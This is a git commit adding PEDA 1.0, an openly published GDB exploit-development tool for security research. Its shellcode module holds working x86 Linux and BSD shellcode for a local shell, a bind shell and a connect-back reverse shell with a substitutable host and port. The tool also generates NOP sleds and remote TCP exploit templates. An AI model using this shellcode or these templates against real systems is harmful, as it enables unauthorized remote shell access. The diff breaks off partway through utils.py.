Initial commit - peda-1.0
This commit is contained in:
parent
9dd4a9fc63
commit
ddc5e16d67
|
@ -0,0 +1,3 @@
|
|||
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.
|
||||
|
||||
http://creativecommons.org/licenses/by-nc-sa/3.0/
|
|
@ -0,0 +1,45 @@
|
|||
PEDA - Python Exploit Development Assistance for GDB
|
||||
|
||||
Version: 1.0
|
||||
|
||||
Release: special public release, Black Hat USA 2012
|
||||
|
||||
0. Credits
|
||||
- Huy Phan (pdah) for reviewing code
|
||||
|
||||
1. Introduction
|
||||
PEDA is a Python GDB script with many handy commands to help speed up
|
||||
exploit development process on Linux/Unix. It is also a framework for
|
||||
writing custom interactive Python GDB commands.
|
||||
|
||||
2. Requirements
|
||||
- PEDA 1.0 is only support Linux
|
||||
- GDB 7.x
|
||||
- Python 2.6+
|
||||
- Utilities: nasm, readelf, objdump
|
||||
|
||||
3. Installation
|
||||
- Download
|
||||
$ wget http://ropshell.com/peda/peda.tar.gz
|
||||
- Unpack to HOME directory
|
||||
$ tar zxvf peda.tar.gz
|
||||
- Append a line to ~/.gdbinit to load PEDA when GDB starts
|
||||
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
|
||||
|
||||
4. Usage
|
||||
- List of available commands:
|
||||
gdb-peda$ peda help
|
||||
|
||||
- Search for some commands:
|
||||
gdb-peda$ apropos <keyword>
|
||||
gdb-peda$ help <keyword>
|
||||
|
||||
- Get usage manual of specific command:
|
||||
gdb-peda$ phelp <command>
|
||||
gdb-peda$ help <command>
|
||||
|
||||
- Get/set config option:
|
||||
gdb-peda$ pshow option
|
||||
gdb-peda$ pset option <name> <value>
|
||||
|
||||
|
|
@ -0,0 +1,90 @@
|
|||
#
|
||||
# PEDA - Python Exploit Development Assistance for GDB
|
||||
#
|
||||
# Copyright (C) 2012 Long Le Dinh <longld at vnsecurity.net>
|
||||
#
|
||||
# License: see LICENSE file for details
|
||||
#
|
||||
|
||||
# change below settings to match your needs
|
||||
## BEGIN OF SETTINGS ##
|
||||
|
||||
# external binaries, required for some commands
|
||||
READELF = "/usr/bin/readelf"
|
||||
OBJDUMP = "/usr/bin/objdump"
|
||||
NASM = "/usr/bin/nasm"
|
||||
NDISASM = "/usr/bin/ndisasm"
|
||||
|
||||
# PEDA global options
|
||||
OPTIONS = {
|
||||
"badchars" : ("", "bad characters to be filtered in payload/output, e.g: '\\x0a\\x00'"),
|
||||
"pattern" : (1, "pattern type, 0 = basic, 1 = extended"),
|
||||
"indent" : (4, "number of ident spaces for output python payload, e.g: 0|4|8"),
|
||||
"ansicolor" : ("on", "enable/disable colorized output, e.g: on|off"),
|
||||
"pagesize" : (25, "number of lines to display per page, 0 = disable paging"),
|
||||
"session" : ("peda-session-#FILENAME#.txt", "target file to save peda session"),
|
||||
"tracedepth": (0, "max depth for calls/instructions tracing, 0 means no limit"),
|
||||
"tracelog" : ("peda-trace-#FILENAME#.txt", "target file to save tracecall output"),
|
||||
"crashlog" : ("peda-crashdump-#FILENAME#.txt", "target file to save crash dump of fuzzing"),
|
||||
"snapshot" : ("peda-snapshot-#FILENAME#.raw", "target file to save crash dump of fuzzing"),
|
||||
"autosave" : ("on", "auto saving peda session, e.g: on|off"),
|
||||
"payload" : ("peda-payload-#FILENAME#.txt", "target file to save output of payload command"),
|
||||
"context" : ("register,code,stack", "context display setting, e.g: register, code, stack, all"),
|
||||
"verbose" : ("off", "show detail execution of commands, e.g: on|off"),
|
||||
"debug" : ("off", "show detail error of peda commands, e.g: on|off"),
|
||||
"_teefd" : ("", "internal use only for tracelog/crashlog writing")
|
||||
}
|
||||
|
||||
## END OF SETTINGS ##
|
||||
|
||||
class Option(object):
|
||||
"""
|
||||
Class to access global options of PEDA commands and functions
|
||||
TODO: save/load option to/from file
|
||||
"""
|
||||
options = OPTIONS.copy()
|
||||
def __init__(self):
|
||||
"""option format: name = (value, 'help message')"""
|
||||
pass
|
||||
|
||||
|
||||
@staticmethod
|
||||
def reset():
|
||||
"""reset to default options"""
|
||||
Option.options = OPTIONS.copy()
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def show(name=""):
|
||||
"""display options"""
|
||||
result = {}
|
||||
for opt in Option.options:
|
||||
if name in opt and not opt.startswith("_"):
|
||||
result[opt] = Option.options[opt][0]
|
||||
return result
|
||||
|
||||
@staticmethod
|
||||
def get(name):
|
||||
"""get option"""
|
||||
if name in Option.options:
|
||||
return Option.options[name][0]
|
||||
else:
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def set(name, value):
|
||||
"""set option"""
|
||||
if name in Option.options:
|
||||
Option.options[name] = (value, Option.options[name][1])
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def help(name=""):
|
||||
"""display help info of options"""
|
||||
result = {}
|
||||
for opt in Option.options:
|
||||
if name in opt and not opt.startswith("_"):
|
||||
result[opt] = Option.options[opt][1]
|
||||
return result
|
|
@ -0,0 +1,92 @@
|
|||
#
|
||||
# PEDA - Python Exploit Development Assistance for GDB
|
||||
#
|
||||
# Copyright (C) 2012 Long Le Dinh <longld at vnsecurity.net>
|
||||
#
|
||||
# License: see LICENSE file for details
|
||||
#
|
||||
|
||||
import os
|
||||
from utils import *
|
||||
import config
|
||||
|
||||
class Nasm(object):
|
||||
"""
|
||||
Wrapper class for assemble/disassemble using nasm/ndisassm
|
||||
"""
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def assemble(asmcode, mode=32):
|
||||
"""
|
||||
Assemble ASM instructions using NASM
|
||||
- asmcode: input ASM instructions, multiple instructions are separated by ";" (String)
|
||||
- mode: 16/32/64 bits assembly
|
||||
|
||||
Returns:
|
||||
- bin code (raw bytes)
|
||||
"""
|
||||
asmcode = asmcode.strip('"').strip("'")
|
||||
asmcode = asmcode.replace(";", "\n")
|
||||
asmcode = ("BITS %d\n" % mode) + asmcode
|
||||
asmcode = asmcode.decode('string_escape')
|
||||
infd = tmpfile()
|
||||
outfd = tmpfile()
|
||||
infd.write(asmcode)
|
||||
infd.flush()
|
||||
execute_external_command("%s -f bin -o %s %s" % (config.NASM, outfd.name, infd.name))
|
||||
bincode = outfd.read()
|
||||
infd.close()
|
||||
|
||||
if os.path.exists(outfd.name):
|
||||
outfd.close()
|
||||
|
||||
return bincode
|
||||
|
||||
@staticmethod
|
||||
def disassemble(buf, mode=32):
|
||||
"""
|
||||
Disassemble binary to ASM instructions using NASM
|
||||
- buf: input binary (raw bytes)
|
||||
- mode: 16/32/64 bits assembly
|
||||
|
||||
Returns:
|
||||
- ASM code (String)
|
||||
"""
|
||||
out = execute_external_command("%s -b %d -" % (config.NDISASM, mode), buf)
|
||||
return out
|
||||
|
||||
@staticmethod
|
||||
def format_shellcode(buf, mode=32):
|
||||
"""
|
||||
Format raw shellcode to ndisasm output display
|
||||
"\x6a\x01" # 0x00000000: push byte +0x1
|
||||
"\x5b" # 0x00000002: pop ebx
|
||||
|
||||
TODO: understand syscall numbers, socket call
|
||||
"""
|
||||
def nasm2shellcode(asmcode):
|
||||
if not asmcode:
|
||||
return ""
|
||||
|
||||
shellcode = []
|
||||
pattern = re.compile("([0-9A-F]{8})\s*([^\s]*)\s*(.*)")
|
||||
|
||||
matches = pattern.findall(asmcode)
|
||||
for line in asmcode.splitlines():
|
||||
m = pattern.match(line)
|
||||
if m:
|
||||
(addr, bytes, code) = m.groups()
|
||||
sc = '"%s"' % to_hexstr(bytes.decode('hex'))
|
||||
shellcode += [(sc, "0x"+addr, code)]
|
||||
|
||||
maxlen = max([len(x[0]) for x in shellcode])
|
||||
text = ""
|
||||
for (sc, addr, code) in shellcode:
|
||||
text += "%s # %s: %s\n" % (sc.ljust(maxlen+1), addr, code)
|
||||
|
||||
return text
|
||||
|
||||
out = execute_external_command("%s -b %d -" % (config.NDISASM, mode), buf)
|
||||
return nasm2shellcode(out)
|
|
@ -0,0 +1,276 @@
|
|||
#
|
||||
# PEDA - Python Exploit Development Assistance for GDB
|
||||
#
|
||||
# Copyright (C) 2012 Long Le Dinh <longld at vnsecurity.net>
|
||||
#
|
||||
# License: see LICENSE file for details
|
||||
#
|
||||
|
||||
import random
|
||||
import socket
|
||||
import struct
|
||||
|
||||
shellcode_x86_linux = {
|
||||
"exec": (
|
||||
"\x31\xc0" # 0x00000000: xor eax,eax
|
||||
"\x50" # 0x00000002: push eax
|
||||
"\x68\x2f\x2f\x73\x68" # 0x00000003: push dword 0x68732f2f ; //sh
|
||||
"\x68\x2f\x62\x69\x6e" # 0x00000008: push dword 0x6e69622f ; /bin
|
||||
"\x89\xe3" # 0x0000000D: mov ebx,esp
|
||||
"\x31\xc9" # 0x0000000F: xor ecx,ecx
|
||||
"\x89\xca" # 0x00000011: mov edx,ecx
|
||||
"\x6a\x0b" # 0x00000013: push byte +0xb
|
||||
"\x58" # 0x00000015: pop eax
|
||||
"\xcd\x80" # 0x00000016: int 0x80 ; execve()
|
||||
),
|
||||
"bindport": (
|
||||
"\x31\xdb" # 0x00000000: xor ebx,ebx
|
||||
"\x53" # 0x00000002: push ebx
|
||||
"\x43" # 0x00000003: inc ebx
|
||||
"\x53" # 0x00000004: push ebx
|
||||
"\x6a\x02" # 0x00000005: push byte +0x2
|
||||
"\x6a\x66" # 0x00000007: push byte +0x66
|
||||
"\x58" # 0x00000009: pop eax
|
||||
"\x99" # 0x0000000A: cdq
|
||||
"\x89\xe1" # 0x0000000B: mov ecx,esp
|
||||
"\xcd\x80" # 0x0000000D: int 0x80 ; socket()
|
||||
"\x96" # 0x0000000F: xchg eax,esi
|
||||
"\x43" # 0x00000010: inc ebx
|
||||
"\x52" # 0x00000011: push edx
|
||||
"\x66\x68\x41\x42" # 0x00000012: push word 0x4241 ; port = 0x4142
|
||||
"\x66\x53" # 0x00000016: push bx
|
||||
"\x89\xe1" # 0x00000018: mov ecx,esp
|
||||
"\x6a\x66" # 0x0000001A: push byte +0x66
|
||||
"\x58" # 0x0000001C: pop eax
|
||||
"\x50" # 0x0000001D: push eax
|
||||
"\x51" # 0x0000001E: push ecx
|
||||
"\x56" # 0x0000001F: push esi
|
||||
"\x89\xe1" # 0x00000020: mov ecx,esp
|
||||
"\xcd\x80" # 0x00000022: int 0x80 ; bind()
|
||||
"\xb0\x66" # 0x00000024: mov al,0x66
|
||||
"\xd1\xe3" # 0x00000026: shl ebx,1
|
||||
"\xcd\x80" # 0x00000028: int 0x80 ; listen()
|
||||
"\x52" # 0x0000002A: push edx
|
||||
"\x52" # 0x0000002B: push edx
|
||||
"\x56" # 0x0000002C: push esi
|
||||
"\x43" # 0x0000002D: inc ebx
|
||||
"\x89\xe1" # 0x0000002E: mov ecx,esp
|
||||
"\xb0\x66" # 0x00000030: mov al,0x66
|
||||
"\xcd\x80" # 0x00000032: int 0x80 ; accept()
|
||||
"\x93" # 0x00000034: xchg eax,ebx
|
||||
"\x6a\x02" # 0x00000035: push byte +0x2
|
||||
"\x59" # 0x00000037: pop ecx
|
||||
"\xb0\x3f" # 0x00000038: mov al,0x3f
|
||||
"\xcd\x80" # 0x0000003A: int 0x80 ; dup2()
|
||||
"\x49" # 0x0000003C: dec ecx
|
||||
"\x79\xf9" # 0x0000003D: jns 0x38
|
||||
"\xb0\x0b" # 0x0000003F: mov al,0xb
|
||||
"\x52" # 0x00000041: push edx
|
||||
"\x68\x2f\x2f\x73\x68" # 0x00000042: push dword 0x68732f2f ; //sh
|
||||
"\x68\x2f\x62\x69\x6e" # 0x00000047: push dword 0x6e69622f ; /bin
|
||||
"\x89\xe3" # 0x0000004C: mov ebx,esp
|
||||
"\x52" # 0x0000004E: push edx
|
||||
"\x53" # 0x0000004F: push ebx
|
||||
"\x89\xe1" # 0x00000050: mov ecx,esp
|
||||
"\xcd\x80" # 0x00000052: int 0x80 ; execve()
|
||||
),
|
||||
"connect": (
|
||||
"\x31\xdb" # 0x00000000: xor ebx,ebx
|
||||
"\x53" # 0x00000002: push ebx
|
||||
"\x43" # 0x00000003: inc ebx
|
||||
"\x53" # 0x00000004: push ebx
|
||||
"\x6a\x02" # 0x00000005: push byte +0x2
|
||||
"\x6a\x66" # 0x00000007: push byte +0x66
|
||||
"\x58" # 0x00000009: pop eax
|
||||
"\x89\xe1" # 0x0000000A: mov ecx,esp
|
||||
"\xcd\x80" # 0x0000000C: int 0x80 ; socket()
|
||||
"\x93" # 0x0000000E: xchg eax,ebx
|
||||
"\x59" # 0x0000000F: pop ecx
|
||||
"\xb0\x3f" # 0x00000010: mov al,0x3f
|
||||
"\xcd\x80" # 0x00000012: int 0x80 ; dup2()
|
||||
"\x49" # 0x00000014: dec ecx
|
||||
"\x79\xf9" # 0x00000015: jns 0x10
|
||||
"\x5b" # 0x00000017: pop ebx
|
||||
"\x5a" # 0x00000018: pop edx
|
||||
"\x68\x7f\x7f\x7f\x7f" # 0x00000019: push dword 0x7f7f7f7f ; address = 127.127.127.127
|
||||
"\x66\x68\x41\x42" # 0x0000001E: push word 0x4241 ; port = 0x4142
|
||||
"\x43" # 0x00000022: inc ebx
|
||||
"\x66\x53" # 0x00000023: push bx
|
||||
"\x89\xe1" # 0x00000025: mov ecx,esp
|
||||
"\xb0\x66" # 0x00000027: mov al,0x66
|
||||
"\x50" # 0x00000029: push eax
|
||||
"\x51" # 0x0000002A: push ecx
|
||||
"\x53" # 0x0000002B: push ebx
|
||||
"\x89\xe1" # 0x0000002C: mov ecx,esp
|
||||
"\x43" # 0x0000002E: inc ebx
|
||||
"\xcd\x80" # 0x0000002F: int 0x80 ; connect()
|
||||
"\x52" # 0x00000031: push edx
|
||||
"\x68\x2f\x2f\x73\x68" # 0x00000032: push dword 0x68732f2f ; //sh
|
||||
"\x68\x2f\x62\x69\x6e" # 0x00000037: push dword 0x6e69622f ; /bin
|
||||
"\x89\xe3" # 0x0000003C: mov ebx,esp
|
||||
"\x52" # 0x0000003E: push edx
|
||||
"\x53" # 0x0000003F: push ebx
|
||||
"\x89\xe1" # 0x00000040: mov ecx,esp
|
||||
"\xb0\x0b" # 0x00000042: mov al,0xb
|
||||
"\xcd\x80" # 0x00000044: int 0x80 ; execve()
|
||||
)
|
||||
}
|
||||
|
||||
shellcode_x86_bsd = {
|
||||
"exec": (
|
||||
"\x31\xc0" # 0x00000000: xor eax,eax
|
||||
"\x50" # 0x00000002: push eax
|
||||
"\x68\x2f\x2f\x73\x68" # 0x00000003: push dword 0x68732f2f; //sh
|
||||
"\x68\x2f\x62\x69\x6e" # 0x00000008: push dword 0x6e69622f; /bin
|
||||
"\x89\xe3" # 0x0000000D: mov ebx,esp
|
||||
"\x50" # 0x0000000F: push eax
|
||||
"\x50" # 0x00000010: push eax
|
||||
"\x53" # 0x00000011: push ebx
|
||||
"\x50" # 0x00000012: push eax
|
||||
"\x6a\x3b" # 0x00000013: push byte +0x3b
|
||||
"\x58" # 0x00000015: pop eax
|
||||
"\xcd\x80" # 0x00000016: int 0x80 ; execve()
|
||||
),
|
||||
"bindport": (
|
||||
"\x31\xc0" # 0x00000000: xor eax,eax
|
||||
"\x50" # 0x00000002: push eax
|
||||
"\x68\xff\x02\x41\x42" # 0x00000003: push dword 0x424102ff ; port = x04142
|
||||
"\x89\xe7" # 0x00000008: mov edi,esp
|
||||
"\x50" # 0x0000000A: push eax
|
||||
"\x6a\x01" # 0x0000000B: push byte +0x1
|
||||
"\x6a\x02" # 0x0000000D: push byte +0x2
|
||||
"\x6a\x10" # 0x0000000F: push byte +0x10
|
||||
"\xb0\x61" # 0x00000011: mov al,0x61
|
||||
"\xcd\x80" # 0x00000013: int 0x80 ; socket()
|
||||
"\x57" # 0x00000015: push edi
|
||||
"\x50" # 0x00000016: push eax
|
||||
"\x50" # 0x00000017: push eax
|
||||
"\x6a\x68" # 0x00000018: push byte +0x68
|
||||
"\x58" # 0x0000001A: pop eax
|
||||
"\xcd\x80" # 0x0000001B: int 0x80 ; bind()
|
||||
"\x89\x47\xec" # 0x0000001D: mov [edi-0x14],eax
|
||||
"\xb0\x6a" # 0x00000020: mov al,0x6a
|
||||
"\xcd\x80" # 0x00000022: int 0x80 ; listen()
|
||||
"\xb0\x1e" # 0x00000024: mov al,0x1e
|
||||
"\xcd\x80" # 0x00000026: int 0x80 ; accept()
|
||||
"\x50" # 0x00000028: push eax
|
||||
"\x50" # 0x00000029: push eax
|
||||
"\x6a\x5a" # 0x0000002A: push byte +0x5a
|
||||
"\x58" # 0x0000002C: pop eax
|
||||
"\xcd\x80" # 0x0000002D: int 0x80 ; dup2()
|
||||
"\xff\x4f\xe4" # 0x0000002F: dec dword [edi-0x1c]
|
||||
"\x79\xf6" # 0x00000032: jns 0x2a
|
||||
"\x50" # 0x00000034: push eax
|
||||
"\x68\x2f\x2f\x73\x68" # 0x00000035: push dword 0x68732f2f ; //sh
|
||||
"\x68\x2f\x62\x69\x6e" # 0x0000003A: push dword 0x6e69622f ; /bin
|
||||
"\x89\xe3" # 0x0000003F: mov ebx,esp
|
||||
"\x50" # 0x00000041: push eax
|
||||
"\x54" # 0x00000042: push esp
|
||||
"\x53" # 0x00000043: push ebx
|
||||
"\x50" # 0x00000044: push eax
|
||||
"\xb0\x3b" # 0x00000045: mov al,0x3b
|
||||
"\xcd\x80" # 0x00000047: int 0x80 ; execve()
|
||||
),
|
||||
"connect": (
|
||||
"\x68\x7f\x7f\x7f\x7f" # 0x00000000: push dword 0x7f7f7f7f ; address = 127.127.127.127
|
||||
"\x68\xff\x02\x41\x42" # 0x00000005: push dword 0x424102ff ; port = 0x4142
|
||||
"\x89\xe7" # 0x0000000A: mov edi,esp
|
||||
"\x31\xc0" # 0x0000000C: xor eax,eax
|
||||
"\x50" # 0x0000000E: push eax
|
||||
"\x6a\x01" # 0x0000000F: push byte +0x1
|
||||
"\x6a\x02" # 0x00000011: push byte +0x2
|
||||
"\x6a\x10" # 0x00000013: push byte +0x10
|
||||
"\xb0\x61" # 0x00000015: mov al,0x61
|
||||
"\xcd\x80" # 0x00000017: int 0x80 ; socket()
|
||||
"\x57" # 0x00000019: push edi
|
||||
"\x50" # 0x0000001A: push eax
|
||||
"\x50" # 0x0000001B: push eax
|
||||
"\x6a\x62" # 0x0000001C: push byte +0x62
|
||||
"\x58" # 0x0000001E: pop eax
|
||||
"\xcd\x80" # 0x0000001F: int 0x80 ; connect()
|
||||
"\x50" # 0x00000021: push eax
|
||||
"\x6a\x5a" # 0x00000022: push byte +0x5a
|
||||
"\x58" # 0x00000024: pop eax
|
||||
"\xcd\x80" # 0x00000025: int 0x80 ; dup2()
|
||||
"\xff\x4f\xe8" # 0x00000027: dec dword [edi-0x18]
|
||||
"\x79\xf6" # 0x0000002A: jns 0x22
|
||||
"\x68\x2f\x2f\x73\x68" # 0x0000002C: push dword 0x68732f2f ; //sh
|
||||
"\x68\x2f\x62\x69\x6e" # 0x00000031: push dword 0x6e69622f ; /bin
|
||||
"\x89\xe3" # 0x00000036: mov ebx,esp
|
||||
"\x50" # 0x00000038: push eax
|
||||
"\x54" # 0x00000039: push esp
|
||||
"\x53" # 0x0000003A: push ebx
|
||||
"\x50" # 0x0000003B: push eax
|
||||
"\xb0\x3b" # 0x0000003C: mov al,0x3b
|
||||
"\xcd\x80" # 0x0000003E: int 0x80 ; execve()
|
||||
)
|
||||
}
|
||||
|
||||
shellcode_x86 = {"linux": shellcode_x86_linux, "bsd": shellcode_x86_bsd}
|
||||
|
||||
SHELLCODES = {"x86": shellcode_x86}
|
||||
|
||||
class Shellcode():
|
||||
"""
|
||||
Simple wrapper for pre-defined shellcodes generation
|
||||
For complete and advanced shellcodes, Metasploit is recommended
|
||||
"""
|
||||
def __init__(self, arch="x86", platform="linux"):
|
||||
if arch in SHELLCODES and platform in SHELLCODES[arch]:
|
||||
self.shellcodes = SHELLCODES[arch][platform].copy()
|
||||
else:
|
||||
self.shellcodes = None
|
||||
|
||||
@staticmethod
|
||||
def gennop(size, NOPS=None):
|
||||
"""
|
||||
genNOP is used to create an arbitrary length NOP sled using characters of your choosing.
|
||||
Perhaps you prefer \x90, perhaps you like the defaults. Given a list of NOP characters,
|
||||
genNOP will randomize and spit out something not easily recognized by the average human/rev engineer.
|
||||
Still, while you are working a vulnerability, you may prefer to specify one byte such as "A" or
|
||||
"\x90" as they are easily identified while searching memory.
|
||||
Defaults:
|
||||
# inc eax @ \x40
|
||||
# inc ecx A \x41
|
||||
# inc edx B \x42
|
||||
# inc ebx C \x43
|
||||
# inc esp D \x44
|
||||
# inc ebp E \x45
|
||||
# inc esi F \x46
|
||||
# inc edi G \x47
|
||||
# dec eax H \x48
|
||||
# dec esx J \x4a
|
||||
# daa ' \x27
|
||||
# das / \x2f
|
||||
# nop \x90
|
||||
# xor eax,eax \x33\xc0
|
||||
source: atlasutils
|
||||
"""
|
||||
DEFAULT_NOPS = "ABCFGHKIJ@'"
|
||||
if (not NOPS):
|
||||
NOPS = DEFAULT_NOPS
|
||||
sled = ""
|
||||
for i in range(size,0,-1):
|
||||
N = random.randint(0,len(NOPS)-1)
|
||||
sled += NOPS[N]
|
||||
return sled
|
||||
|
||||
def shellcode(self, sctype, port=None, host=None):
|
||||
if not self.shellcodes or sctype not in self.shellcodes:
|
||||
return None
|
||||
|
||||
if port is None:
|
||||
port=16706
|
||||
if host is None:
|
||||
host='127.127.127.127'
|
||||
|
||||
shellcode = self.shellcodes[sctype]
|
||||
try:
|
||||
port = struct.pack(">H", port)
|
||||
addr = socket.inet_aton(host)
|
||||
shellcode = shellcode.replace("\x66\x68\x41\x42", "\x66\x68" + port)
|
||||
shellcode = shellcode.replace("\x68\xff\x02\x41\x42", "\x68\xff\x02" + port)
|
||||
shellcode = shellcode.replace("\x68\x7f\x7f\x7f\x7f", "\x68" + addr)
|
||||
return shellcode
|
||||
except:
|
||||
return None
|
|
@ -0,0 +1,228 @@
|
|||
#
|
||||
# PEDA - Python Exploit Development Assistance for GDB
|
||||
#
|
||||
# Copyright (C) 2012 Long Le Dinh <longld at vnsecurity.net>
|
||||
#
|
||||
# License: see LICENSE file for details
|
||||
#
|
||||
|
||||
class ExploitSkeleton(object):
|
||||
"""
|
||||
Wrapper for exploit skeleton codes
|
||||
"""
|
||||
def __init__(self):
|
||||
self.skeleton_basic = """
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Template for #TYPE# exploit code, generated by PEDA
|
||||
#
|
||||
import os
|
||||
import sys
|
||||
import struct
|
||||
import time
|
||||
|
||||
def usage():
|
||||
print "Usage: %s #USAGE#" % sys.argv[0]
|
||||
return
|
||||
|
||||
def pattern(size=1024, start=0):
|
||||
try:
|
||||
bytes = open("pattern.txt").read(size+start)
|
||||
return bytes[start:]
|
||||
except:
|
||||
return "A"*size
|
||||
|
||||
def nops(size=1024):
|
||||
return "\\x90"*size
|
||||
|
||||
def int2hexstr(num, intsize=4):
|
||||
if intsize == 8:
|
||||
if num < 0:
|
||||
result = struct.pack("<q", num)
|
||||
else:
|
||||
result = struct.pack("<Q", num)
|
||||
else:
|
||||
if num < 0:
|
||||
result = struct.pack("<l", num)
|
||||
else:
|
||||
result = struct.pack("<L", num)
|
||||
return result
|
||||
|
||||
def list2hexstr(intlist, intsize=4):
|
||||
result = ""
|
||||
for value in intlist:
|
||||
if isinstance(value, str):
|
||||
result += value
|
||||
else:
|
||||
result += int2hexstr(value, intsize)
|
||||
return result
|
||||
"""
|
||||
|
||||
self.skeleton_local_argv = self.skeleton_basic
|
||||
self.skeleton_local_argv = self.skeleton_local_argv.replace("#TYPE#", "local argv")
|
||||
self.skeleton_local_argv = self.skeleton_local_argv.replace("#USAGE#", "target_program")
|
||||
self.skeleton_local_argv += """
|
||||
def exploit(vuln):
|
||||
padding = pattern(0)
|
||||
payload = ["PAYLOAD"] # put your payload here
|
||||
payload = list2hexstr(payload)
|
||||
payload = padding + payload
|
||||
args = [vuln, payload]
|
||||
env = {"PEDA":nops()}
|
||||
os.execve(vuln, args, env)
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
usage()
|
||||
else:
|
||||
exploit(sys.argv[1])
|
||||
"""
|
||||
|
||||
self.skeleton_local_env = self.skeleton_basic
|
||||
self.skeleton_local_env = self.skeleton_local_env.replace("#TYPE#", "local env")
|
||||
self.skeleton_local_env = self.skeleton_local_env.replace("#USAGE#", "target_program")
|
||||
self.skeleton_local_env += """
|
||||
from ctypes import *
|
||||
from ctypes.util import find_library
|
||||
|
||||
def exploit(vuln):
|
||||
libc = cdll.LoadLibrary(find_library("c"))
|
||||
execve = libc.execve
|
||||
padding = pattern(0)
|
||||
payload = ["PAYLOAD"] # put your payload here
|
||||
payload = list2hexstr(payload)
|
||||
payload = padding + payload
|
||||
args = sys.argv[1:] + [None]
|
||||
# create custom env with NULL value
|
||||
env = [
|
||||
"EGG",
|
||||
"A","","","",
|
||||
"B"*2,"","",
|
||||
"C"*3,"",
|
||||
"D"*4, "","","","","",
|
||||
payload,
|
||||
None ]
|
||||
l = len(env)
|
||||
envp = (c_char_p*l)()
|
||||
for i in range(l):
|
||||
envp[i] = cast(env[i], c_char_p)
|
||||
|
||||
l = len(args)
|
||||
argp = (c_char_p*l)()
|
||||
for i in range(l):
|
||||
argp[i] = cast(args[i], c_char_p)
|
||||
|
||||
execve(vuln, argp, envp)
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
usage()
|
||||
else:
|
||||
exploit(sys.argv[1])
|
||||
"""
|
||||
|
||||
self.skeleton_local_stdin = self.skeleton_basic
|
||||
self.skeleton_local_stdin = self.skeleton_local_stdin.replace("#TYPE#", "local stdin")
|
||||
self.skeleton_local_stdin = self.skeleton_local_stdin.replace("#USAGE#", "target_program")
|
||||
self.skeleton_local_stdin += """
|
||||
from subprocess import *
|
||||
def exploit(vuln):
|
||||
padding = pattern(0)
|
||||
payload = ["PAYLOAD"] # put your payload here
|
||||
payload = list2hexstr(payload)
|
||||
payload = padding + payload
|
||||
env = {"PEDA":nops()}
|
||||
args = sys.argv[1:]
|
||||
P = Popen(args, stdin=PIPE)
|
||||
P.stdin.write(payload + "\\n")
|
||||
while True:
|
||||
line = sys.stdin.readline()
|
||||
P.poll()
|
||||
ret = P.returncode
|
||||
if ret is None:
|
||||
P.stdin.write(line)
|
||||
else:
|
||||
if ret == -11:
|
||||
print "Child program crashed with SIGSEGV"
|
||||
else:
|
||||
print "Child program exited with code %d" % ret
|
||||
break
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
usage()
|
||||
else:
|
||||
exploit(sys.argv[1])
|
||||
"""
|
||||
|
||||
self.skeleton_remote_tcp = self.skeleton_basic
|
||||
self.skeleton_remote_tcp = self.skeleton_remote_tcp.replace("#TYPE#", "remote TCP")
|
||||
self.skeleton_remote_tcp = self.skeleton_remote_tcp.replace("#USAGE#", "host port")
|
||||
self.skeleton_remote_tcp += """
|
||||
from socket import *
|
||||
import telnetlib
|
||||
class TCPClient():
|
||||
def __init__(self, host, port, debug=0):
|
||||
self.debug = debug
|
||||
self.sock = socket(AF_INET, SOCK_STREAM)
|
||||
self.sock.connect((host, port))
|
||||
|
||||
def debug_log(self, size, data, cmd):
|
||||
if self.debug != 0:
|
||||
print "%s(%d): %s" % (cmd, size, repr(data))
|
||||
|
||||
def send(self, data, delay=0):
|
||||
if delay:
|
||||
time.sleep(delay)
|
||||
nsend = self.sock.send(data)
|
||||
self.debug_log(nsend, data, "send")
|
||||
return nsend
|
||||
|
||||
def sendline(self, data, delay=0):
|
||||
nsend = self.send(data + "\\n", delay)
|
||||
return nsend
|
||||
|
||||
def recv(self, size=1024, delay=0):
|
||||
if delay:
|
||||
time.sleep(delay)
|
||||
buf = self.sock.recv(size)
|
||||
self.debug_log(len(buf), buf, "recv")
|
||||
return buf
|
||||
|
||||
def recv_until(self, delim):
|
||||
buf = ""
|
||||
while True:
|
||||
c = self.sock.recv(1)
|
||||
buf += c
|
||||
if delim in buf:
|
||||
break
|
||||
self.debug_log(len(buf), buf, "recv")
|
||||
return buf
|
||||
|
||||
def recvline(self):
|
||||
buf = self.recv_until("\\n")
|
||||
return buf
|
||||
|
||||
def close(self):
|
||||
self.sock.close()
|
||||
|
||||
def exploit(host, port):
|
||||
port = int(port)
|
||||
client = TCPClient(host, port, debug=1)
|
||||
padding = pattern(0)
|
||||
payload = ["PAYLOAD"] # put your payload here
|
||||
payload = list2hexstr(payload)
|
||||
payload = padding + payload
|
||||
raw_input("Enter to continue")
|
||||
client.send(payload)
|
||||
t = telnetlib.Telnet()
|
||||
t.sock = client.sock
|
||||
t.interact()
|
||||
t.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 3:
|
||||
usage()
|
||||
else:
|
||||
exploit(sys.argv[1], sys.argv[2])
|
||||
"""
|
|
@ -0,0 +1,563 @@
|
|||
#
|
||||
# PEDA - Python Exploit Development Assistance for GDB
|
||||
#
|
||||
# Copyright (C) 2012 Long Le Dinh <longld at vnsecurity.net>
|
||||
#
|
||||
# License: see LICENSE file for details
|
||||
#
|
||||
|
||||
import tempfile
|
||||
import pprint
|
||||
import inspect
|
||||
import sys
|
||||
import struct
|
||||
import string
|
||||
import re
|
||||
import itertools
|
||||
from subprocess import *
|
||||
import config
|
||||
|
||||
# http://wiki.python.org/moin/PythonDecoratorLibrary#Memoize
|
||||
# http://stackoverflow.com/questions/8856164/class-decorator-decorating-method-in-python
|
||||
class memoized(object):
|
||||
"""
|
||||
Decorator. Caches a function's return value each time it is called.
|
||||
If called later with the same arguments, the cached value is returned
|
||||
(not reevaluated).
|
||||
"""
|
||||
def __init__(self, func):
|
||||
self.func = func
|
||||
self.instance = None # bind with instance class of decorated method
|
||||
self.cache = {}
|
